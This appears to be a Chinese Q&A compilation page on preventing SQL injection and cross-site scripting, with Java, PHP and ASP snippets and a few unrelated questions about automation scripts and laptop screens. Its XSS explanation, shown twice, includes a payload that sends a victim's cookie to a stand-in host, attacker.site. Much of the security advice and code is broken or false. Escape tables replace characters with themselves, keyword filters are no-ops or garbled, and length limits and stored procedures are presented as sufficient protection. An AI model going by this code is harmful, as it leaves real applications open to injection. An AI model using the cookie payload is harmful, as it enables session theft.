沒必要使用防注入腳本的,別被外面說的嚇著,首先你要知道什和號sql注入是怎麼回事。說得簡單點,比如用戶登陸時。你在後後一般要用select * from yonghu where id=id.text and pwd=pwd.text,這里id.text和pwd.text是用戶前台輸入,如果用戶輸入的字元任合sql語句規則,就能執行了。比如在pwd.text中輸入--,就不校驗密碼了。其實你只要做兩件事就可以防止了。第一,對你的每個輸入項限制長度,第二,後台使用存儲過程運行所有的SQL代碼,因為存儲過程是基於安全上下文的。再中上你前台對SQL的存儲過程的操作都是擊於字元串的,所以不會被注入攻擊
⑵ 在java中如何用正則表達式屏蔽javascript腳本
你需要把用戶評論的內容中的:
"&" 替換成 "&"
"<" 替換成 "<"
">" 替換成 ">"
'"' (雙引號)替換成 '"'
"'" (單引號)替換成 '''
這樣就可以避免客戶端的危險輸入了
形如<script type="text/javascript">alert("asdf");</script>
的評論就會被直接顯示出來(如同你看到的一樣=。=)
而不會被當作html標簽轉義
====修改====
我的輸入被轉義了,修改下,記得去掉空格
"&" 替換成 "& amp;"
"<" 替換成 "& lt;"
">" 替換成 "& gt;"
'"' (雙引號)替換成 '& quot;'
"'" (單引號)替換成 '& #39;'
⑶ 如何防止跨站點腳本攻擊
防止跨站點腳本攻擊的解決方法:
1.輸入過濾
對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2.輸出過濾
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->
<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>
<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>
<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.安裝三方的應用防火牆,可以攔截css攻擊。
附:
跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。
跨站腳本包含三個部分:攻擊者,客戶和web站點。
跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。
攻擊
一個get請求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
會產生如下的結果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果請求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就會得到如下的響應
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script>
響應如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。
⑷ 按鍵精靈腳本運行時會突然關閉腳本任務目標窗口,偶爾發生,怎麼防止
加入合理的延遲,別讓窗口處理不過來
另外最好採用後台按鍵 避免因為前台操作而影響到腳本運行!
⑸ 筆記本怎麼關掉屏幕,前台腳本繼續運行
滑鼠在移動時,筆記本屏幕是無法關閉的,解決的辦法只能曲線救國。
一是,外接顯示器作為主顯示器,然後關閉…這還用說,估計不好實現。
二是,把腳本放在虛擬機里運行,然後用Turn Off LCD關閉筆記本屏幕。
⑹ 輸入框禁止輸入script腳本例如:輸入<script>alert(「我是來搗亂的」)</script>之類的script腳本。
<input type=text onKeyDown="alert("我數來搗亂的");return false">
⑺ 如何防止跨站點腳本攻擊
防止跨站點腳本攻擊的解決方法: 1.輸入過濾 對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。 final String filterPattern="[<>{}\\[\\];\\&]"; String inputStr = s.replaceAll(filterPattern," "); 2.輸出過濾 public static String encode(String data) { final StringBuffer buf = new StringBuffer(); final char[] chars = data.toCharArray(); for (int i = 0; i < chars.length; i++) { buf.append("" + (int) chars[i]); } return buf.toString(); } public static String decodeHex(final String data, final String charEncoding) { if (data == null) { return null; } byte[] inBytes = null; try { inBytes = data.getBytes(charEncoding); } catch (UnsupportedEncodingException e) { //use default charset inBytes = data.getBytes(); } byte[] outBytes = new byte[inBytes.length]; int b1; int b2; int j=0; for (int i = 0; i < inBytes.length; i++) { if (inBytes[i] == '%') { b1 = Character.digit((char) inBytes[++i], 16); b2 = Character.digit((char) inBytes[++i], 16); outBytes[j++] = (byte) (((b1 & 0xf) << 4) + (b2 & 0xf)); } else { outBytes[j++] = inBytes[i]; } } String encodedStr = null; try { encodedStr = new String(outBytes, 0, j, charEncoding); } catch (UnsupportedEncodingException e) { encodedStr = new String(outBytes, 0, j); } return encodedStr; } <!-- Maps the 404 Not Found response code to the error page /errPage404 --> <error-page> <error-code>404</error-code> <location>/errPage404</location> </error-page> <!-- Maps any thrown ServletExceptions to the error page /errPageServ --> <error-page> <exception-type>javax.servlet.ServletException</exception-type> <location>/errPageServ</location> </error-page> <!-- Maps any other thrown exceptions to a generic error page /errPageGeneric --> <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/errPageGeneric</location> </error-page> 任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。 Throwable throwable = (Throwable) request.getAttribute("javax.servlet.error.exception"); String status_code = ((Integer) request.getAttribute("javax.servlet.error.status_code")).toString( ); 3.安裝三方的應用防火牆,可以攔截css攻擊。 附: 跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。 跨站腳本包含三個部分:攻擊者,客戶和web站點。 跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。 攻擊 一個get請求 GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site 會產生如下的結果 <HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML> 但是如果請求被篡改 GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site 就會得到如下的響應 <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML> 這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。 http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script> 響應如下: <HTML> <Title>Welcome!</Title> Hi <script>window.open(「www.attacker.site/collect.cgi?cookie=」+document.cookie)</script> <BR> Welcome to our system ... </HTML> 瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。
⑻ 如何在asp網頁中的文本框內防止輸入html標簽或者是一些腳本代碼
用replace,把你不想寫入資料庫的欄位全替換成別的答案補充顯示時,再替換回來呀答案補充你是怎麼替換的呢,代碼,你應該替換成別的,不是一些關鍵字,資料庫不允許寫入的答案補充replace(replace(獲取自文本框的字元串,"<","["),">","]")
這寫的什麼喔replace(獲取自文本框的字元串,"<","[")
這是把<替換成[
⑼ web前端怎麼防止代碼注入攻擊
一,HTML防注入。
一般的html注入都是在字元串中加入了html標簽,用下JAVA代碼可以去掉這部分代碼。
代碼如下,自己封裝成方法即可。
String msge = "asdasdasdasd <div id=\"f\">asdfsdf";
System.out.println(msge);
msge = msge.replace("&", "&");
msge = msge.replace("<", "<");
msge = msge.replace(" ", " ");
msge = msge.replace(">", ">");
msge = msge.replace("\"", """);
msge = msge.replace("'", "&qpos;");
System.out.println(msge);
二、防SQL注入
最簡單最容易的是限制用戶輸入。
簡單點的就是不允許用戶輸入單引號 和 --,因為單引號號--在SQL中都是影響執行的。
但SQL注入是多方面的,防止的方法也有很多種。
1、地址欄禁止特殊字元防SQL注入
把特殊字元(如and、or、'、")都禁止提交就可以防止注入了。
2、php過濾html字元串,防止SQL注入
批量過濾post,get敏感數據
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
數據過濾函數
function stripslashes_array(&$array) {
while(list($key,$var) = each($array)) {
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
if (is_string($var)) {
$array[$key] = stripslashes($var);
}
if (is_array($var)) {
$array[$key] = stripslashes_array($var);
}
}
}
return $array;
}
3、替換HTML尾標簽
function lib_replace_end_tag($str)
{
if (empty($str)) return false;
$str = htmlspecialchars($str);
$str = str_replace( '/', "", $str);
$str = str_replace("\\", "", $str);
$str = str_replace(">", "", $str);
$str = str_replace("<", "", $str);
$str = str_replace("<SCRIPT>", "", $str);
$str = str_replace("</SCRIPT>", "", $str);
$str = str_replace("<script>", "", $str);
$str = str_replace("</script>", "", $str);
$str=str_replace("select","select",$str);
$str=str_replace("join","join",$str);
$str=str_replace("union","union",$str);
$str=str_replace("where","where",$str);
$str=str_replace("insert","insert",$str);
$str=str_replace("delete","delete",$str);
$str=str_replace("update","update",$str);
$str=str_replace("like","like",$str);
$str=str_replace("drop","drop",$str);
$str=str_replace("create","create",$str);
$str=str_replace("modify","modify",$str);
$str=str_replace("rename","rename",$str);
$str=str_replace("alter","alter",$str);
$str=str_replace("cas","cast",$str);
$str=str_replace("&","&",$str);
$str=str_replace(">",">",$str);
$str=str_replace("<","<",$str);
$str=str_replace(" ",chr(32),$str);
$str=str_replace(" ",chr(9),$str);
$str=str_replace(" ",chr(9),$str);
$str=str_replace("&",chr(34),$str);
$str=str_replace("'",chr(39),$str);
$str=str_replace("<br />",chr(13),$str);
$str=str_replace("''","'",$str);
$str=str_replace("css","'",$str);
$str=str_replace("CSS","'",$str);
return $str;
}
三、專業的事情交給專業的工具去做。
安裝安全軟體。例如,在伺服器中安裝「伺服器安全狗」,可以設置防注入,防攻擊的設置,只要設置好安全規則,就可以屏蔽大多數攻擊入侵。